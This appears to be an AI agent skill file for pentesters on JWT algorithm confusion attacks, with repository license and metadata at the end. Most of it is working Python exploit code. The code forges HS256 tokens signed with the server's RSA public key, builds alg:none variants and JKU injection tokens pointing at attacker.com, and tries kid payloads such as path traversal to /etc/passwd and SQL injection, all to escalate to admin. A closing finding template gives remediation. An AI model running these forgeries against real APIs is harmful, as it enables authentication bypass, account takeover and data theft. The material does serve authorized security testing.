--- name: exploiting-jwt-algorithm-confusion-attack-4e3ad315ceff description: >- Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery. domain: cybersecurity subdomain: api-security tags: - api-security - jwt - algorithm-confusion - token-forgery - cryptographic-attack version: 1.0.0 author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 mitre_attack: - T1190 - T1059.007 - T1552.001 - T1055 - T1059 --- # Exploiting JWT Algorithm Confusion Attack ## When to Use - Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256 - Assessing JWT implementations for alg:none bypass where the server skips signature verification - Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret - Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection - Validating that the API server enforces a specific algorithm and does not trust the JWT header **Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover. ## Prerequisites - Written authorization specifying the target API and JWT-based authentication in scope - A valid JWT token from the target API (obtained through legitimate authentication) - The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint) - Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries - jwt_tool for automated JWT attack testing - Burp Suite with JWT Editor extension > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Workflow ### Step 1: JWT Token Analysis ```python import base64 import json import requests import hmac import hashlib import time BASE_URL = "https://target-api.example.com/api/v1" # Capture a valid JWT token login_resp = requests.post(f"{BASE_URL}/auth/login", json={"email": "test@example.com", "password": "TestPass123!"}) valid_token = login_resp.json().get("access_token", "") # Decode JWT parts def decode_jwt(token): parts = token.split('.') if len(parts) != 3: raise ValueError("Invalid JWT format") def pad(s): return s + '=' * (4 - len(s) % 4) header = json.loads(base64.urlsafe_b64decode(pad(parts[0]))) payload = json.loads(base64.urlsafe_b64decode(pad(parts[1]))) return header, payload, parts[2] header, payload, signature = decode_jwt(valid_token) print(f"Algorithm: {header.get('alg')}") print(f"Key ID: {header.get('kid', 'none')}") print(f"Type: {header.get('typ')}") print(f"JKU: {header.get('jku', 'none')}") print(f"\nPayload: {json.dumps(payload, indent=2)}") print(f"\nExpires: {time.ctime(payload.get('exp', 0))}") ``` ### Step 2: Obtain the Public Key ```python from cryptography.hazmat.primitives import serialization from cryptography.x509 import load_pem_x509_certificate # Method 1: JWKS endpoint jwks_url = f"{BASE_URL}/.well-known/jwks.json" jwks_resp = requests.get(jwks_url) if jwks_resp.status_code == 200: jwks = jwks_resp.json() print(f"JWKS keys found: {len(jwks.get('keys', []))}") for key in jwks['keys']: print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}") # Extract RSA public key from JWKS from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers from cryptography.hazmat.backends import default_backend rsa_key = jwks['keys'][0] # First key n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big') e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big') public_key = RSAPublicNumbers(e, n).public_key(default_backend()) public_key_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}") # Method 2: From well-known OpenID configuration oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration") if oidc_resp.status_code == 200: jwks_uri = oidc_resp.json().get('jwks_uri') print(f"JWKS URI from OIDC config: {jwks_uri}") # Method 3: Exposed at common paths for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]: resp = requests.get(f"{BASE_URL}{path}") if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text): print(f"Public key found at: {path}") ``` ### Step 3: Algorithm Confusion Attack (RS256 to HS256) ```python def forge_hs256_with_public_key(token, public_key_pem, modifications=None): """ Algorithm confusion: Sign token with HS256 using the RSA public key as secret. If the server uses a generic verify() that trusts the alg header, it will use the public key as the HMAC secret, matching our signature. """ parts = token.split('.') payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) # Modify payload if requested if modifications: payload.update(modifications) # Create header with HS256 new_header = {"alg": "HS256", "typ": "JWT"} # Encode header and payload header_b64 = base64.urlsafe_b64encode( json.dumps(new_header).encode()).decode().rstrip('=') payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode()).decode().rstrip('=') # Sign with HMAC-SHA256 using the RSA public key as the secret signing_input = f"{header_b64}.{payload_b64}".encode() # Use the raw PEM bytes as the HMAC key if isinstance(public_key_pem, str): public_key_pem = public_key_pem.encode() signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest() sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=') return f"{header_b64}.{payload_b64}.{sig_b64}" # Attack 1: Algorithm confusion with same claims confused_token = forge_hs256_with_public_key(valid_token, public_key_pem) resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {confused_token}"}) print(f"Algorithm confusion (same claims): {resp.status_code}") if resp.status_code == 200: print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256") # Attack 2: Algorithm confusion with elevated privileges admin_token = forge_hs256_with_public_key(valid_token, public_key_pem, modifications={"role": "admin", "sub": "admin@example.com"}) resp = requests.get(f"{BASE_URL}/admin/users", headers={"Authorization": f"Bearer {admin_token}"}) print(f"Algorithm confusion (admin): {resp.status_code}") if resp.status_code == 200: print("[CRITICAL] Admin access via algorithm confusion + claim manipulation") # Attack 3: Try different public key formats key_formats = [ public_key_pem, # Full PEM public_key_pem.strip(), # Stripped whitespace public_key_pem.replace(b'\n', b''), # No newlines public_key_pem.decode().split('\n')[1:-1], # Base64 only ] for i, key_format in enumerate(key_formats): if isinstance(key_format, list): key_format = ''.join(key_format).encode() elif isinstance(key_format, str): key_format = key_format.encode() token = forge_hs256_with_public_key(valid_token, key_format) resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {token}"}) if resp.status_code == 200: print(f"[CRITICAL] Key format {i} worked for algorithm confusion") ``` ### Step 4: Algorithm None Attack ```python def forge_none_algorithm(token, modifications=None): """Create tokens with alg:none variations to bypass signature verification.""" parts = token.split('.') payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) if modifications: payload.update(modifications) payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode()).decode().rstrip('=') # Different "none" algorithm variations none_variants = [ {"alg": "none", "typ": "JWT"}, {"alg": "None", "typ": "JWT"}, {"alg": "NONE", "typ": "JWT"}, {"alg": "nOnE", "typ": "JWT"}, {"typ": "JWT"}, # Missing alg entirely ] tokens = [] for variant_header in none_variants: header_b64 = base64.urlsafe_b64encode( json.dumps(variant_header).encode()).decode().rstrip('=') # Different signature options sig_options = [ "", # Empty signature ".", # Just a dot parts[2], # Original signature base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # Null byte ] for sig in sig_options: tokens.append(f"{header_b64}.{payload_b64}.{sig}") return tokens # Test all none algorithm variations none_tokens = forge_none_algorithm(valid_token) for i, token in enumerate(none_tokens): resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {token}"}) if resp.status_code == 200: header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '==')) print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}") # Test with privilege escalation admin_none_tokens = forge_none_algorithm(valid_token, modifications={"role": "admin", "is_admin": True}) for token in admin_none_tokens: resp = requests.get(f"{BASE_URL}/admin/users", headers={"Authorization": f"Bearer {token}"}) if resp.status_code == 200: print("[CRITICAL] Admin access via alg:none bypass") break ``` ### Step 5: JKU and KID Header Injection ```python import os # Attack: JKU (JWK Set URL) injection # Host attacker-controlled JWKS that contains our key pair def generate_attacker_jwks(): """Generate an RSA key pair and JWKS for the attacker's server.""" from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend # Generate attacker key pair private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_key = private_key.public_key() public_numbers = public_key.public_numbers() n_b64 = base64.urlsafe_b64encode( public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=') e_b64 = base64.urlsafe_b64encode( public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=') jwks = { "keys": [{ "kty": "RSA", "kid": "attacker-key-1", "use": "sig", "alg": "RS256", "n": n_b64, "e": e_b64 }] } return private_key, jwks attacker_private_key, attacker_jwks = generate_attacker_jwks() # Create JWT with JKU pointing to attacker server def forge_jku_token(payload_modifications, jku_url): """Create a JWT signed with attacker key, JKU pointing to attacker JWKS.""" payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '==')) payload.update(payload_modifications) header = { "alg": "RS256", "typ": "JWT", "kid": "attacker-key-1", "jku": jku_url # Points to attacker-hosted JWKS } header_b64 = base64.urlsafe_b64encode( json.dumps(header).encode()).decode().rstrip('=') payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode()).decode().rstrip('=') # Sign with attacker's private key from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding signing_input = f"{header_b64}.{payload_b64}".encode() signature = attacker_private_key.sign( signing_input, padding.PKCS1v15(), hashes.SHA256() ) sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=') return f"{header_b64}.{payload_b64}.{sig_b64}" # Test JKU injection with various URLs jku_urls = [ "https://attacker.com/.well-known/jwks.json", "https://attacker.com/jwks", # Bypass URL filters f"{BASE_URL}@attacker.com/jwks", f"{BASE_URL}/.well-known/jwks.json#@attacker.com", ] for jku in jku_urls: token = forge_jku_token({"role": "admin"}, jku) # Note: This test requires hosting the attacker JWKS at the specified URL print(f" JKU injection payload generated for: {jku}") # KID injection (SQL injection in kid parameter) kid_injection_payloads = [ "../../../../../../dev/null", # Path traversal to empty file "../../../../../../proc/sys/kernel/hostname", "' UNION SELECT 'secret-key' -- ", # SQL injection in kid lookup "' OR '1'='1", "../../../etc/passwd", "https://attacker.com/key.pem", # URL-based kid ] for kid in kid_injection_payloads: modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid} header_b64 = base64.urlsafe_b64encode( json.dumps(modified_header).encode()).decode().rstrip('=') payload_b64 = valid_token.split('.')[1] # Sign with the expected key material from the injection signing_input = f"{header_b64}.{payload_b64}".encode() # For path traversal to /dev/null, the key would be empty sig = hmac.new(b"", signing_input, hashlib.sha256).digest() sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=') token = f"{header_b64}.{payload_b64}.{sig_b64}" resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {token}"}) if resp.status_code == 200: print(f"[CRITICAL] KID injection successful: {kid}") ``` ## Key Concepts | Term | Definition | |------|------------| | **Algorithm Confusion** | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret | | **alg:none Attack** | Setting the JWT algorithm to "none" to bypass signature verification entirely, if the library does not enforce algorithm selection | | **JKU Injection** | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys | | **KID Injection** | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files | | **Key Confusion** | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification | | **JWKS (JSON Web Key Set)** | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint | ## Tools & Systems - **jwt_tool**: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection - **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities - **hashcat (mode 16500)**: GPU-accelerated HMAC secret brute-forcing for HS256/HS384/HS512-signed JWTs - **John the Ripper**: CPU-based JWT secret cracking with wordlist and rule-based attacks - **jwt.io**: Online JWT decoder and debugger for quick token analysis ## Common Scenarios ### Scenario: Algorithm Confusion on Banking API **Context**: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication. **Approach**: 1. Obtain a valid JWT by authenticating as a regular user 2. Extract the RSA public key from the JWKS endpoint at `/.well-known/jwks.json` 3. Create a new JWT with `"alg": "HS256"` header and sign it using the RSA public key as the HMAC secret 4. Send the forged token to `GET /api/v1/users/me` - server accepts it (algorithm confusion confirmed) 5. Modify the payload to set `"role": "admin"` and `"sub": "admin@bank.com"` - sign with the public key 6. Access admin endpoints: `GET /api/v1/admin/transactions` returns all transaction history 7. Test alg:none: rejected by the server (partial mitigation) 8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection **Pitfalls**: - Using the wrong format of the public key as the HMAC secret (PEM with/without headers, DER, raw bytes) - Not trying multiple public key formats when the first one does not produce a valid signature - Assuming the alg:none defense means algorithm confusion is also mitigated - Not testing kid injection vectors when the kid parameter is present in the JWT header - Missing JKU/x5u header injection when the server fetches keys from URLs ## Output Format ``` ## Finding: JWT Algorithm Confusion Enables Authentication Bypass **ID**: API-JWT-001 **Severity**: Critical (CVSS 9.8) **CVE Reference**: CVE-2024-54150 (related pattern) **Affected Component**: JWT authentication middleware **Description**: The API's JWT verification library trusts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. An attacker can change the algorithm from RS256 to HS256 and sign the token using the server's RSA public key (available from the JWKS endpoint) as the HMAC secret. The server then uses the same public key to verify the HMAC signature, which succeeds, allowing the attacker to forge tokens for any user with any role. **Attack Chain**: 1. Obtain public key: GET /.well-known/jwks.json 2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"} 3. Sign with HMAC-SHA256 using RSA public key PEM as secret 4. Access admin API: GET /api/v1/admin/transactions -> 200 OK **Impact**: Complete authentication bypass. An attacker can forge tokens for any user including administrators, accessing all financial transactions, user data, and administrative functions. **Remediation**: 1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"]) 2. Never trust the alg header from the JWT for algorithm selection 3. Update the JWT library to the latest version with algorithm confusion protections 4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk 5. Implement token binding to prevent forged token acceptance ``` --- Source attribution: costrict-plugins-repo Original project: https://github.com/costrict-plugins-repo/mukul975-anthropic-cybersecurity-skills-cybersecurity-skills/blob/1b344d155f00bae5cf27d8eba9508e8f5050d904/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Dave AI. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. 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See the License for the specific language governing permissions and limitations under the License. # Dave AI resource metadata Creator / publisher: costrict-plugins-repo Original project: https://github.com/costrict-plugins-repo/mukul975-anthropic-cybersecurity-skills-cybersecurity-skills/blob/1b344d155f00bae5cf27d8eba9508e8f5050d904/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md Attribution basis: Source repository record Fields of work: Data & Analytics, Development & Engineering Roles: Backend Developer, Data Analyst, Security Engineer Specialties: API Tools: Burp_Suite, Jwt_Tool Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 8f996c28c64c45ec9dda7e956c6a0cdeca283aecf6b76c71f2012154ca9ca287